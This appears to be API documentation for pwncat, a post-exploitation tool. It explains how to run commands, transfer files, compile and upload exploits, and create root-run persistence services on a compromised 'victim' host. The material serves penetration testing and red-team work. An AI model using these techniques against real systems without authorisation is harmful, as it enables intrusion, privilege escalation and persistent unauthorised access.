Interacting With The Victim

pwncat abstracts all interactions with the remote host through the pwncat.victim object. This is a singleton of the pwncat.remote.Victim class, and is available anywhere after initialization and conneciton of the remote host.

This object wraps common operations on the remote host such as running processes, retrieving output, opening files, interacting with services and much more!

Working with remote processes

Remote processes are started with one of four different methods. However, most of the time you will only need to use two of them. The first is the process method:

start_delim, end_delim = pwncat.victim.process("ls", delim=False)

The process method does not attempt to handle the output of a process or verify it’s success. The delim parameter specifies whether delimeters will be placed before and after the remote processes output. If delim is false, this is equivalent to sending the command over the socket directly with pwncat.victim.client.send("ls\n".encode("utf-8")). However, setting delim to True (the default value) instructs the method to prepend and append delimeters. process will also wait for the starting delimeter to be sent before returning. This means that with delim on, reading data from pwncat.victim.client after calling process will be the output of the process up until the end delimeter.

The next process creation method is run. This method utilizes process, but automatically waits for process completion and returns the output of the process:

output: bytes = pwncat.victim.run("ls")

The optional wait parameter effects whether the method will wait for and return the result. If wait is false, the output will not be read from the socket and the method will return immediately. This behaves much like calling process with delim=True.

The third process creation method is subprocess. With the subprocess method, a file-like object is returned which allows for read/write access to the remote processes stdio. Writing to the remote process will work until the end delimeter is observed on a read. Afterwich, the file object is automatically closed. No other interaction with the remote host is possible until the file object is closed.

with pwncat.victim.subprocess("find / -name 'interesting'", "r") as pipe:
    for line in pipe:
        print("Interesting file:", line.strip().decode("utf-8"))

The last process creation method is the env method. This method acts much like the env command on linux. It takes an argument array for a process to start. The first argument is the name of the program to run, and it is check with the pwncat.victim.which method to ensure it exists. Keyword arguments to the method are converted into environment variables for the new process. A FileNotFoundError is raised if the requested binary is not resolved properly with pwncat.victim.which.

pwncat.victim.env(["mkdir", "-p", "/tmp/somedir"], ENVIRONMENT_VAR="variable value")

This method also takes parameters similar to run for waiting and input, if needed.

Working with remote files

Remote files can be accessed and created similar to local files. The pwncat.victim.open interface provides a method to open a remote file and interact with it like a local Python file object. Creating a remote file can be accomplished with:

with pwncat.victim.open("/tmp/remote-file", "w") as filp:
    filp.write("hell from the other side!")

When interacting with remote files, no other interaction with the remote host is allowed. Prior to executing any other remote interaction, you must close the remote file object. Because of this simple interface, uploading a local file to a remote file can be accomplished with Python built-in functions.

import os
import shutil

with open("local-file", "rb") as src:
    with pwncat.victim.open("/tmp/remote-file", "wb",
            length=os.path.getsize("local-file")) as dst:
        shutil.copyfileobj(src, dst)

This is actually how the upload and download commands are implemented. The length parameter to the pwncat.victim.open method allows pwncat to intelligently select remote file access options which required a length argument. This is important because transfer of raw binary data unencoded requires the output length to be known. If the length is not passed, the data will be automatically encoded (for example, with base64) before uploading, and decoded automatically on the receiving end.

Working with remote services

pwncat will attempt to figure out what type of init system is being used on the target host and provide an abstracted interface to system services. The abstractions are available under the pwncat/remote/service.py file. Currently, pwncat only supports SystemD, but the interface is abstracted to support other init systems such as SysVInit or Upstart if the interface is implemented.

The pwncat.remote.service.service_map maps names of init systems to their abstract RemoteService class implementation. This is how pwncat selects the appropriate remote service backend.

Regardless of the underlying init system, pwncat provides methods for querying known services, enabling auto-start, starting, stopping and creation of remote services.

To query a list of remote services, you can use the pwncat.victim.services property. This is an iterator yielding each abstracted service object. Each object contains a name, description, and state as well as methods for starting, stopping, enabling or disabling the service. This functionality obviously depends on you having the correct permission to manage the services, however retrieving the state and list of services should work regardless of your permission level.

from pwncat import victim

for service in victim.services:
    print(f"{service.name} is {'running' if service.running else 'stopped'}")

To find a specific service by name, there is a find_service method which returns an individual remote service object. If the service is not found, a ValueError is raised.

from pwncat import victim

sshd = victim.find_service("sshd")

The interface for creating services is provided through the create_service method, which allows you to specify a target binary name which serves as the entrypoint for your service as well as a name description, and enabled state. A PermissionError is raised if you do not have permission to create the specified service. This method also returns a wrapped RemoteService object for the newly created service.

from pwncat import victim

pwncat = victim.create_service(name="pwncat",
                               description="a malicious service",
                               target="/usr/bin/pwncat_service",
                               runas="root",
                               enable=True,
                               user=False)
pwncat.start()

Starting, stopping or enabling a service is as easy as calling a method or setting a property:

from pwncat import victim

try:
    sshd = victim.find_service("sshd")
    sshd.enabled = False
    sshd.stop()
except PermissionError:
    print("you don't have permission to modify sshd :(")
except ValueError:
    print("sshd doesn't exist!")

Compiling Code for the Victim

pwncat provides an abstract capability to compile binaries in C for the victim. By setting the cross configuration item to the path to valid C compiler on your attacking system capable of generating compiled binaries for the victim, you can have pwncat compile exploits locally and upload only the compiled binaries. This not only speeds up privilege escalation checks, but also enables some methods in the case the remote host does not have a working C compiler. If no cross value is provided, pwncat will still check for an utilize a remote compiler if available.

To access, this functionality, you can use the pwncat.victim.compile method. This method takes a list of source files, an output suffix, and a list of CFLAGS and LDFLAGS. The result is the path to the compiled binary on the remote host. Ideally, it will utilize a local cross-compiler and upload the binary, but it is also capable of uploading the specified source files and compiling remotely as well.

Compiling Local Source Files For A Victim
import pwncat

# Compile your code for the remote host
remote_path = pwncat.victim.compile(["main.c", "other.c"], cflags=["-static"], ldflags=["-lssl"])
# Run the new binary
pwncat.victim.run(remote_path)
# Track the new binary in the tamper database
pwncat.victim.tamper.created_file(remote_path)

The list of sources can also accept file objects instead of file paths. In this case, you can wrap a literal string in a io.StringIO object in order to compile short source files from memory:

Compiling Source From Memory
import pwncat
import textwrap
import io

# Simple in-memory source file
source = textwrap.dedent(r"""
    #include <stdio.h>

    int main(int argc, char** argv) {
        printf("Hello World!\n");
        return 0;
    }
""")
# Compile the source file
remote_path = pwncat.victim.compile([io.StringIO(source)])
# will print b"Hello World!\n"
print(pwncat.victim.run(remote_path))

You can also utilize the CFLAGS argument to produce shared libraries if needed:

Compiling Shared Libraries
import pwncat

# Compile the source as a shared library
remote_path = pwncat.victim.compile(["main.c"], cflags=["-fPIC", "-shared"], suffix=".so")

The Victim Object

class pwncat.remote.victim.Victim

Abstracts interaction with the remote victim host.

Parameters:
  • config (pwncat.config.Config) – the machine configuration object
  • state (pwncat.util.State) – the current interpreter state
  • saved_term_state – the saved local terminal settings when in raw mode
  • remote_prompt – the prompt (set in PS1) for the remote shell
  • binary_aliases (Dict[str, List]) – aliases for various binaries that self.which will look for
  • gtfo (GTFOBins) – the gtfobins module for selecting and generating gtfobins payloads
  • command_parser (CommandParser) – the local command parser module
  • tamper (TamperManager) – the tamper module handling remote tamper registration
  • engine (Engine) – the SQLAlchemy database engine
  • session (Session) – the global SQLAlchemy session
  • host (pwncat.db.Host) – the pwncat.db.Host object
access(path: str) → pwncat.util.Access

Test your access to a file on the remote system. This method utilizes the remote test command to interrogate the given path and it’s parent directory. If the test and [ commands are not available, Access.NONE is returned.

Parameters:path (str) – the remote file path
Returns:pwncat.util.Access flags
bootstrap_busybox(url: str)

Utilize the architecture we grabbed from uname -m to download a precompiled busybox binary and upload it to the remote machine. This makes uploading/downloading and dependency tracking easier. It also makes file upload/download safer, since we have a known good set of commands we can run (rather than relying on GTFObins)

After installation, busybox version of all non-SUID binaries will be returned from victim.which vice local versions.

Parameters:url – a base url for compiled versions of busybox
chdir(path: str) → str

Change directories in the remote process. Returns the old CWD.

Parameters:path – the directory to change to
Returns:the old current working directory
compile(sources: List[Union[str, io.IOBase]], output: str = None, suffix: str = None, cflags: List[str] = None, ldflags: List[str] = None)

If possible, compile the given source files on the local host using the cross compiler given by the cross configuration value. If cross is not set or cannot compile the given sources, then check if a valid compiler is available on the remote host. If a local cross compiler is selected, the output file is then uploaded to the remote host.

In either case, the full path to the output file on the remote host is returned.

May raise FileNotFound error if the given source doesn’t exist. May also raise util.CompilationError with the stdout/stderr of the compiler if compilation failed either locally or on the remote host.

Parameters:
  • sources – a list of source files or IO streams used as source files
  • output – the base name of the output file, if this is None, the name is randomly selected with an optional suffix.
  • suffix – a suffix to add to the basename. This isn’t useful except for when output is None, but will be honored in either case.
  • cflags – a list of arguments to pass to GCC prior to the sources
  • ldflags – a list of arguments to pass to GCC after the sources
Returns:

a string indicating the path to the remote binary after compilation.

connect(client: _socket.socket)

Set up the remote client. This socket is assumed to be connected to some form of a shell. The remote host will be interrogated to figure out the remote shell type, system type, etc. It will then cross-reference the database to identify if we have seen this host before, and load relevant data for this host.

Parameters:client (socket.SocketType) – the client socket connection
Returns:None
create_service(name: str, description: str, target: str, runas: str, enable: bool, user: bool = False) → pwncat.remote.service.RemoteService

Create a service on the remote host which will execute the specified binary. The remote init system must be understood, as with the services property. A ValueError is raised if the init system is not understood by pwncat. A PermissionError may be raised if insufficient permissions are found to create the service.

Parameters:
  • name (str) – the name of the remote service
  • description (str) – the description for the remote service
  • target (str) – the remote binary to start as a service
  • runas (str) – the remote user to run the service as
  • enable (bool) – whether to enable the service at boot
  • user (bool) – whether this service should be a user service
Returns:

RemoteService

current_user

Retrieve the database User object for the current user. This will call victim.whoami() to retrieve the current user and cross-reference with the local user database.

Returns:pwncat.db.User
env(argv: List[str], envp: Dict[str, Any] = None, wait: bool = True, input: bytes = b'', stderr: str = None, stdout: str = None, **kwargs) → bytes

Execute a binary on the remote system. This function acts similar to the env command-line program. The only difference is that there is no way to clear the current environment. This will also resolve argv[0] to ensure it exists on the remote system.

If the specified binary does not exist on the remote host, a FileNotFoundError is raised.

Parameters:
  • argv (List[str]) – the argument list. argv[0] is the command to run.
  • envp (Dict[str,str]) – a dictionary of environment variables to set
  • wait (bool) – whether to wait for the command to exit
  • input (bytes) – input to send to the command prior to waiting
  • kwargs (Dict[str, str]) – all other keyword arguments are assumed to be environment variables
Returns:

if wait is true, returns the command output as bytes. Otherwise, returns None.

find_service(name: str, user: bool = False) → pwncat.remote.service.RemoteService

Locate a remote service by name. This uses the same interface as the services property, meaning a supported init system must be used on the remote host. If the service is not found, a ValueError is raised.

Parameters:
  • name (str) – the name of the remote service
  • user (bool) – whether to lookup user services (e.g. systemctl --user)
Returns:

RemoteService

find_user_by_id(uid: int)

Locate a user in the database with the specified user ID.

Parameters:uid (int) – the user id to look up
Returns:str
flush_output(some=False)

Flush any data in the socket buffer.

Parameters:some (bool) – if true, wait for at least one byte of data before flushing.
get_file_size(path: str)

Retrieve the size of a remote file. This method raises a FileNotFoundError if the remote file does not exist. It may also raise PermissionError if the remote file is not readable.

Parameters:path (str) – path to the remote file
Returns:int
getenv(name: str)

Utilize echo to get the current value of the given environment variable.

Parameters:name (str) – environment variable name
Returns:str
id

Retrieves a dictionary representing the result of the id command. The resulting dictionary looks like:

{
    "uid": { "name": "username", "id": 1000 },
    "gid": { "name": "username", "id": 1000 },
    "euid": { "name": "username", "id": 1000 },
    "egid": { "name": "username", "id": 1000 },
    "groups": [ {"name": "wheel", "id": 10} ],
    "context": "SELinux context"
}
Returns:Dict[str,Any]
listdir(path: str) → Generator[str, None, None]

List the contents of the specified directory.

Raises the following exceptions:

  • FileNotFoundError: the directory does not exist
  • NotADirectoryError: the path is not a directory
  • PermissionError: you don’t have permission to list the directory
Parameters:path – the path to the directory
Returns:generator of file paths within the directory
open(path: str, mode: str, length=None) → Union[_io.BufferedReader, _io.BufferedWriter, _io.TextIOWrapper]

Mimic the built-in open function on the remote host. The returned file-like object can be used as either a file reader or file writer (but not both) for a remote file. The implementation for reading and writing files is selected using the GTFOBins module and the victim.which method. No other interaction with the remote host is allowed while a file or process stream is open. This will cause a dead-lock. This method may raise a FileNotFoundError or PermissionDenied in case of access issues with the remote file.

Parameters:
  • path (str) – remote file path
  • mode (str) – the open mode; this cannot contain both read and write!
  • length (int) – if known, the length of the data you will write. this is used to open up extra GTFOBins options. It is not required.
Returns:

Union[io.BufferedReader, io.BufferedWriter, io.TextIOWrapper]

open_read(path: str, mode: str) → Union[_io.BufferedReader, _io.TextIOWrapper]

This method implements the underlying read logic for the open method. It shouldn’t be called directly. It may raise a FileNotFoundError or PermissionError depending on access to the requested file.

Parameters:
  • path (str) – the path to the remote file
  • mode (str) – the open mode for the remote file (supports “b” and text modes)
Returns:

Union[io.BufferedReader, io.TextIOWrapper]

open_write(path: str, mode: str, length=None) → Union[_io.BufferedWriter, _io.TextIOWrapper]

This method implements the underlying read logic for the open method. It shouldn’t be called directly. It may raise a FileNotFoundError or PermissionError depending on access to the requested file.

Parameters:
  • path (str) – the path to the remote file
  • mode (str) – the open mode for the remote file (supports “b” and text modes)
Returns:

Union[io.BufferedWriter, io.TextIOWrapper]

peek_output(some=False)

Retrieve the currently pending data in the socket buffer without removing the data from the buffer.

Parameters:some (bool) – if true, wait for at least one byte of data to be received
Returns:bytes
probe_host_details(progress: rich.progress.Progress, task_id)

Probe the remote host for details such as the installed init system, distribution architecture, etc. This information is stored in the database and only retrieved for new systems or if the database was removed.

process(cmd, delim=True, timeout=None) → Tuple[str, str]

Start a process on the remote host. This is the underlying logic for run and env. If delim is true (default), then the command is wrapped in random delimeters, which mark the start and end of command output. This method will wait for the starting delimeter before returning. The output of the command can then be retrieved from the victim.client socket.

Parameters:
  • cmd (str) – the command to run on the remote host
  • delim (bool) – whether to wrap the output in delimeters
Returns:

a Tuple of (start_delim, end_delim)

process_input(data: bytes)

Process local input from stdin. This is used internally to handle keyboard shortcuts and pass data to the remote host when in raw mode.

Parameters:data (bytes) – the newly entered data
raw(echo: bool = False)

Place the remote terminal in raw mode. This is used internally to facilitate binary file transfers. It should not be called normally, as it removes the ability to send control sequences.

reconnect(hostid: str, requested_method: str = None, requested_user: str = None)

Reconnect to the host identified by the provided host hash. The host hash can be retrieved from the sysinfo command of a running pwncat session or from the host table in the database directly. This hash uniquely identifies a host even if it’s IP changes from your perspective. It is constructed from host-specific information probed from the last time pwncat connected to it.

Parameters:
  • hostid – the unique host hash generated from the last pwncat session
  • requested_method – the persistence method to utilize for reconnection, if not specified, all methods will be tried in order until one works.
  • requested_user – the user to connect as. if any specified, all users will be tried in order until one works. if no method is specified, only methods for this user will be tried.
recvuntil(needle: bytes, interp=False, timeout=None)

Receive data from the socket until the specified string of bytes is found. There is no timeout features, so you should be 100% sure these bytes will end up in the output of the remote process at some point.

Parameters:
  • needle (bytes) – the bytes to search for
  • flags (int) – flags to pass to the underlying recv call
Returns:

bytes

reload_host()

Reload the host database object. This is needed after some clearing operations such as clearing enumeration data.

reload_users()

Reload user and group information from /etc/passwd and /etc/group and update the local database.

remove_busybox()

Uninstall busybox. This should not be called directly, because it does not remove the associated tamper objects that were registered previously.

reset(hard: bool = True)

Reset the remote terminal using the reset command. This also restores your prompt, and sets up the environment correctly for pwncat.

restore_local_term()

Restore the local terminal to a normal state (e.g. from raw/no-echo mode).

restore_remote()

Restore the remote prompt after calling victim.raw. This restores the saved stty state which was saved upon calling victim.raw.

run(cmd, wait: bool = True, input: bytes = b'', timeout=None) → bytes

Run a command on the remote host and return the output. This function is similar to env but takes a string as the input instead of a list of arguments. It also does not check that the process exists.

Parameters:
  • input (bytes) – the input to automatically pass to the new process
  • wait (bool) – whether to wait for process completion
  • cmd (str) – the command to run
services

Yield a list of installed services on the remote system. The returned service objects allow the option to start, stop, or enable the service, if appropriate permissions are available. This assumes the init system of the remote host is known and an abstract RemoteService layer is implemented for the init system. Currently, only systemd is understood by pwncat, but facilities to implement more abstracted init systems is built-in.

Returns:Iterator[RemoteService]
state

The current state of pwncat. Changing this property has side-effects beyond just modifying a variable. Switching to RAW mode will close the local terminal automatically and enter RAW/no-echo mode in the local terminal.

Setting command mode will not return until command mode is exited, and enters the CommandProcessor input loop.

Setting SINGLE mode is like COMMAND mode except it will return after one local command is entered and executed.

Returns:pwncat.util.State
su(user: str, password: str = None, check: bool = False)

Attempt to switch users to the specified user. If you are currently UID=0, the password is ignored. Otherwise, the password will first be checked and then utilized to switch the active user of your shell. If check is specified, do not actually switch users. Only check that the given password is correct.

Raises PermissionError if the password is incorrect or the su fails.

Parameters:
  • user (str) – the user to switch to
  • password (str) – the password for the specified user or None if currently UID=0
  • check (bool) – if true, only check the password; do not escalate
subprocess(cmd, mode='rb', data: bytes = None, exit_cmd: str = None, no_job=False, name: str = None, env: Dict[str, str] = None, stdout: str = None, stderr: str = None) → Union[_io.BufferedRWPair, _io.BufferedReader]

Start a process on the remote host and return a file-like object which can be used as stdio for the remote process. Until the returned file-like object is closed, no other interaction with the remote host can occur (this will result in a deadlock). It is recommended to wrap uses of this object in a with statement:

with pwncat.victim.subprocess("find / -name interesting", "r") as stdout:
    for file_path in stdout:
        print("Interesting file:", file_path.strip().decode("utf-8"))
Parameters:
  • cmd – the command to execute
  • mode – a mode string like with the standard “open” function
  • data – data to send to the remote process prior to waiting for output
  • exit_cmd – a string of bytes to send to the remote process to exit early this is needed in case you close the file prior to receiving the ending delimeter.
  • no_job – whether to run as a sub-job in the shell (only used for “r” mode)
  • name – the name assigned to the output file object
  • env – environment variables to set for this command
  • stdout – a string specifying the location to redirect standard out (or None)
  • stderr – a string specifying where to redirect stderr (or None)
Returns:

Union[BufferedRWPair, BufferedReader]

sudo(command: str, user: Optional[str] = None, group: Optional[str] = None, as_is: bool = False, wait: bool = True, password: str = None, stream: bool = False, send_password: bool = True, **kwargs)

Run the specified command with sudo. If specified, “user” and/or “group” options will be added to the command.

If as_is is true, the command string is assumed to contain “sudo” in it and “user”/”group” are not processed. This enables you to use a pre-built command, but utilize the standard processing of user/password information and communication.

Parameters:
  • command – the command/options to pass to sudo. This is appended to the sudo command, so it can contain other options such as “-l”
  • user – the user to run as. this adds a “-u” option to the sudo command
  • group – the group to run as. this adds a “-g” option to the sudo command
Returns:

the command output or None if wait is False

tempfile(mode: str, length: int = None, suffix: str = '') → Union[_io.BufferedWriter, _io.TextIOWrapper]

Create a remote temporary file and open it in the specified mode. The mode must contain “w”, as opening a new file for reading makes not sense. If “b” is not included, the file will be opened in text mode.

Parameters:
  • mode (str) – the mode string as with victim.open
  • length (int, optional) – length of the expected data (as with open)
  • suffix (str, optional) – suffix of the temporary file name
Returns:

Union[io.BufferedWriter, io.TextIOWrapper]

update_user()

Requery the current user :return: the current user

users

Return a list of users from the local user database cache. If the users have not been requested yet, this willc all victim.reload_users.

Returns:Dict[str, pwncat.db.User]
which(name: str, quote=False) → Optional[str]

Resolve the given binary name using the remote shells path. This will cache entries for the remote host to speed up pwncat. Further, if busybox is installed, it will return busybox version of binaries without asking the remote host.

Parameters:
  • name (str) – the name of the remote binary (e.g. “touch”).
  • quote (bool) – whether to quote the returned string with shlex.
Returns:

The full path to the requested binary or None if it was not found.

whoami()

Use the whoami command to retrieve the current user name.

Returns:str, the current user name

Remote Service Object

class pwncat.remote.service.RemoteService(name: str, running: bool, description: str, user: bool = False)

Abstract service interface. Interfaces for specific init systems are implemented as a subclass of the RemoteService class. The class methods defined here should be redefined to access and enumerate the underlying init system.

Parameters:
  • name – the service name
  • user – whether this service is a user specific service
  • running – whether this service is currently running
  • description – a long description for this service
enabled

Check if the service is enabled at boot. The setter will attempt to enable or disable this service for auto-start.

classmethod enumerate(user: bool = False) → Iterator[pwncat.remote.service.RemoteService]

Enumerate installed services on the remote host. This is overloaded for a specific init system.

Parameters:user – whether to enumerate user specific services
Returns:An iterator for remote service objects
restart()

Restart the remote service

start()

Start the remote service

stop()

Stop the remote service

stopped

Check if the service is stopped